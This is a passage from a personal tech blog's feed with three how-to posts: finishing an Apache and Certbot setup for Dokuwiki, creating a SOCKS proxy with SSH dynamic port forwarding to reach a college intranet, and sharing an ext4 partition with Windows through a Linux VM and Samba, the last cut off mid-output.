&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	ServerName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wiki.skghosh.me&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	ServerAdmin&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; webmaster@localhost&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	DocumentRoot&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; /var/www/wiki.skghosh.me&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;	&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;LocationMatch&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &quot;/(data|conf|bin|inc|vendor)/&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;		Order&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; allow,deny&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;		Deny&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;		Satisfy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; All&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;	&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;LocationMatch&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	ErrorLog&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ${APACHE_LOG_DIR}/error.log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	CustomLog&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ${APACHE_LOG_DIR}/access.log combined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;VirtualHost&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the &lt;code&gt;LocationMatch&lt;/code&gt; directive I’ve added. It’s an important security measure which makes sure that the internal files of Dokuwiki aren’t accessible from the public web.&lt;/p&gt;
&lt;h3 id=&quot;security-and-permissions&quot;&gt;Security and permissions&lt;/h3&gt;
&lt;p&gt;There are two aspects to securing and setting permissions for Dokuwiki.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setting the proper file permissions so that Dokuwiki can access and write to files it needs. Without configuring this properly Dokuwiki can’t function.&lt;/li&gt;
&lt;li&gt;Making sure that the internal files of Dokuwiki aren’t accessible from the public web. We’ve already covered this in the last section.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The simplest way to set proper file permissions would be giving ownership of the website root directory to the apache user.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo chown -R www-data:www-data /var/www/wiki.skghosh.me/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;finalising-apache-configuration&quot;&gt;Finalising apache configuration&lt;/h3&gt;
&lt;p&gt;Enabling the rewrite module is needed to make sure redirects work as intended. And of course, we need to disable the default virtual host and enable ours.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo a2enmod rewrite&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo a2dissite 000-default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo a2ensite wiki.skghosh.me&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo systemctl restart apache2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;enabling-https&quot;&gt;Enabling https://&lt;/h3&gt;
&lt;p&gt;Once you’re sure that your Dokuwiki installation is working perfectly over http, you might want to switch to https. Enabling https is a breeze with Certbot, it utilises Let’s Encrypt as the CA and takes care of everything automagically.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo add-apt-repository ppa:certbot/certbot&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt install certbot python-certbot-apache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo certbot --apache -d wiki.skghosh.me&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Creating a SOCKS Proxy via SSH Tunneling with Dynamic Port Forwarding</title><link>https://sumit-ghosh.com/posts/socks-proxy-ssh-tunneling-dynamic-port-forwarding/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/socks-proxy-ssh-tunneling-dynamic-port-forwarding/</guid><description>Creating a SOCKS Proxy via SSH Tunneling with Dynamic Port Forwarding — by Sumit Ghosh.</description><pubDate>Fri, 06 Mar 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I recently had to access some internal websites of my college from home, these websites are usually reachable only from the intranet. The computer science department does provide a &lt;a href=&quot;https://en.wikipedia.org/wiki/Jump_server&quot;&gt;jump server&lt;/a&gt; as a solution, which is basically a machine that sits in the intersection between the private intranet and the public Intranet, and acts as a gateway between the two. Students usually use this as an SSH jump point, and access other lab machines or the hpc server from their home through that.&lt;/p&gt;
&lt;p&gt;Okay, so I can access machines in the intranet through SSH. But it wasn’t apparent to me how I could use this jump server to access intranet &lt;em&gt;websites&lt;/em&gt; painlessly. I researched about this a little bit, and turns out there is a nifty solution that uses only SSH—no VPN software is needed on the jump server. It’s called SSH tunneling with dynamic port forwarding. Basically, it redirects all of your Internet traffic through SSH to that remote machine, and in that way the remote machine acts as kind of a proxy server. Technically though, your local machine is the proxy server, a &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS&quot;&gt;SOCKS&lt;/a&gt; proxy server to be exact, and you have to bind a port to that proxy service. Once the &lt;a href=&quot;https://www.ssh.com/ssh/tunneling&quot;&gt;SSH tunnel&lt;/a&gt; and the SOCKS proxy is set-up, all you gotta do is point your browser at it, and it should work! Well, not quite, there’s a bit of a hiccup that we’ll have to take care of, but we’re getting ahead of ourselves.&lt;/p&gt;
&lt;h3 id=&quot;ssh-tunneling-with-dynamic-port-forwarding&quot;&gt;SSH tunneling with dynamic port forwarding&lt;/h3&gt;
&lt;p&gt;The command for setting up the SSH tunnel required for a SOCKS proxy looks like the following ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ssh -N -D 9000 username@hostname&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it. You’ll have a working SOCKS proxy at &lt;code&gt;127.0.0.1:9000&lt;/code&gt; just by running that. Configure your browser’s proxy settings, point it at the proxy server address, and all of your TCP traffic will be sent through that tunnel, into the intranet at &lt;code&gt;hostname&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Only that I still couldn’t access the internal website. It was clear that the proxy was working, at least to some extent, as &lt;a href=&quot;https://ifconfig.co/&quot;&gt;ifconfig.co&lt;/a&gt; was reporting that I was operating from &lt;code&gt;hostname&lt;/code&gt;. After some investigation it was clear that the problem was with DNS. DNS requests don’t get forwarded through the SOCKS server by default, and the subdomain I was trying to access was purely internal, so the browser couldn’t resolve the domain name.&lt;/p&gt;
&lt;h3 id=&quot;enabling-remote-dns-through-socks-in-firefox&quot;&gt;Enabling remote DNS through SOCKS in Firefox&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Go to the &lt;em&gt;Advanced Preferences&lt;/em&gt; page of Firefox by typing &lt;code&gt;about:config&lt;/code&gt; in the address bar.&lt;/li&gt;
&lt;li&gt;Search for the setting &lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; and turn it on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That’s it! It worked flawlessly after that.&lt;/p&gt;
&lt;p&gt;This post was just a quick one, for my own reference mostly. Hope it helped you too, to whatever extent that might be.&lt;/p&gt;
</content:encoded></item><item><title>Accessing Linux Partitions from Windows through a VM and Samba</title><link>https://sumit-ghosh.com/posts/access-linux-partitions-from-windows-vm-samba/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/access-linux-partitions-from-windows-vm-samba/</guid><description>Accessing Linux Partitions from Windows through a VM and Samba — by Sumit Ghosh.</description><pubDate>Mon, 02 Mar 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;You must’ve faced the problem of accessing Linux partitions—such as ext4—from Windows if you’re running a dual boot setup. There are a few solutions to this ::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using free third-party tools such as &lt;a href=&quot;http://www.ext2fsd.com/&quot;&gt;ext2fsd&lt;/a&gt;. The drawback with this approach is that these tools are rarely updated, and potentially unstable.&lt;/li&gt;
&lt;li&gt;Using &lt;a href=&quot;https://www.paragon-drivers.com/en/lfswin/#&quot;&gt;Linux File Systems for Windows&lt;/a&gt;. I’ve read some very good reviews of this solution on Reddit and Stack overflow, and apparently it’s very stable… but it’s not free, so there’s that.&lt;/li&gt;
&lt;li&gt;Running a Linux VM on Windows and using that as a bridge. This approach takes some effort to set-up, but once you’ve set it up, it’s very stable and painless.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This article is going to be a pretty detailed tutorial on the third method. If you want a TLDR of the steps ::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a Linux VM and add the Linux partition as a physical raw disk to that VM.&lt;/li&gt;
&lt;li&gt;Permanently mount that partition in the VM using &lt;code&gt;/etc/fstab&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Install Samba and set up Samba sharing of the mounted partition. Create a set of Samba client credentials.&lt;/li&gt;
&lt;li&gt;Connect to the Samba server from Windows—by adding it as a network location—using the client credentials created in the last step.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that you have the TLDR, below are the steps in detail.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; — In this article I’ve assumed that the Linux partition is an ext4 one. But this method is not limited to that, it can work with any file system as long as you can mount it on Linux.&lt;/p&gt;
&lt;h3 id=&quot;create-a-linux-vm-on-your-windows-guest&quot;&gt;Create a Linux VM on your Windows guest&lt;/h3&gt;
&lt;p&gt;The first step is, obviously, creating the VM that we’re gonna use as the &lt;em&gt;bridge&lt;/em&gt;. As for the OS, I’m going to use Ubuntu Server 18.04 LTS; any other Linux distros should work as well, you just might have to tweak the commands a bit.&lt;/p&gt;
&lt;p&gt;As I said, I’ll be using VMware Player as the hypervisor. While setting hardware options for the VM, you’ll have to make the ext4 partition available to the VM. In VMware Player we can do this via the following steps ::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Click on Add ➝ Hard Disk ➝ SCSI ➝ Use a physical disk.&lt;/li&gt;
&lt;li&gt;Select your drive from the drop-down menu, and select the “Use individual partitions” option in the “Usage” section.&lt;/li&gt;
&lt;li&gt;Select the ext4 partition you wanna share and click next.&lt;/li&gt;
&lt;li&gt;Finish the wizard by entering a name for the virtual disk file—you can just go with the default—and clicking “Finish”.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you did these steps properly, you’d see a second hard disk added to your VM, other than your primary one. You can confirm that by running &lt;code&gt;lsblk&lt;/code&gt;, like the following ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ lsblk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;fd0      2:0    1   1.4M  0 disk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;loop0    7:0    0  89.1M  1 loop /snap/core/8268&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;loop1    7:1    0  91.4M  1 loop /snap/core/8689&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;sda      8:0    0    10G  0 disk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;├─sda1   8:1    0     1M  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;└─sda2   8:2    0    10G  0 part /&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;sdb      8:16   0 465.8G  0 disk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;├─sdb1   8:17   0   450M  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;├─sdb2   8:18   0   100M  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;├─sdb3   8:19   0    16M  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;├─sdb4   8:20   0 120.1G  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;├─sdb5   8:21   0 282.6G  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;└─sdb6   8:22   0  62.5G  0 part&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;sr0     11:0    1  65.6M  0 rom&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;sr1     11:1    1   870M  0 rom&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For me, the ext4 partition to be shared is labelled as &lt;code&gt;sdb6&lt;/code&gt;; note this down as it might be different for you.&lt;/p&gt;
&lt;h3 id=&quot;set-up-mountpoint&quot;&gt;Set up mountpoint&lt;/h3&gt;
&lt;p&gt;Now we have to mount the partition on our Ubuntu Guest. We’re gonna add an entry to &lt;code&gt;/etc/fstab&lt;/code&gt; so that it gets mounted automatically at the time of boot.&lt;/p&gt;
&lt;p&gt;For that, you’ll have to create a mountpoint—which is nothing but a directory—where the ext4 partition will be mounted. I’ll be creating mine at &lt;code&gt;/media/mntsdb6&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo mkdir /media/mntsdb6&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then add the following line to &lt;code&gt;/etc/fstab&lt;/code&gt; using your favorite text editor ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/dev/sdb6 /media/mntsdb6 ext4 rw,nosuid,nodev,relatime 0 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you’re happy with your mount settings, run the following command to mount.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo mount -a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;set-up-samba-sharing&quot;&gt;Set up Samba sharing&lt;/h3&gt;
&lt;p&gt;Samba is the most straightforward way of setting up network based file-sharing between a Windows system and a Linux one. Samba is a free-software implementation of the SMB networking protocol that Windows uses for sharing files, printers etc over a network. So by setting up our Linux VM as a Samba server, we can connect to that from our Windows system easily.&lt;/p&gt;
&lt;p&gt;First of all, install Samba on the Ubuntu system ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt install samba&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the installation is done, we have to make some changes to the Samba config file, &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt;. But before doing that, let’s keep a copy of the original, just in case things go wrong. This is always a good practice.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ cd /etc/samba/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:/etc/samba&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo cp smb.conf smb.conf.original&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, add the following lines to &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt; ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[SambaShare]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;path = /media/mntsdb6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;public = no&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;writable = yes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;printable = no&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then restart the samba daemon so that the changes take effect.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:/etc/samba&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo service smbd restart&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@hal9001:/etc/samba&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo service smbd status&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;● smbd.service - Samba SMB Daemon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Loaded: loaded (/lib/systemd/system/smbd.service; enabled; vendor preset: enabled)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Active: active (running) since Tue 2020-03-03 11:46:36 UTC; 9s ago&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     Docs: man:smbd(8)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;           man:samba(7)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;           man:smb.conf(5)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; Main PID: 3400 (smbd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Status: &quot;smbd: ready to serve connections...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    Tasks: 4 (limit: 2290)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   CGroup: /system.slice/smbd.service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;           ├─3400 /usr/sbin/smbd --foreground --no-process-group&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;           ├─3426 /usr/sbin/smbd --foreground --no-process-group&lt;/span&gt;&lt;/span&gt;
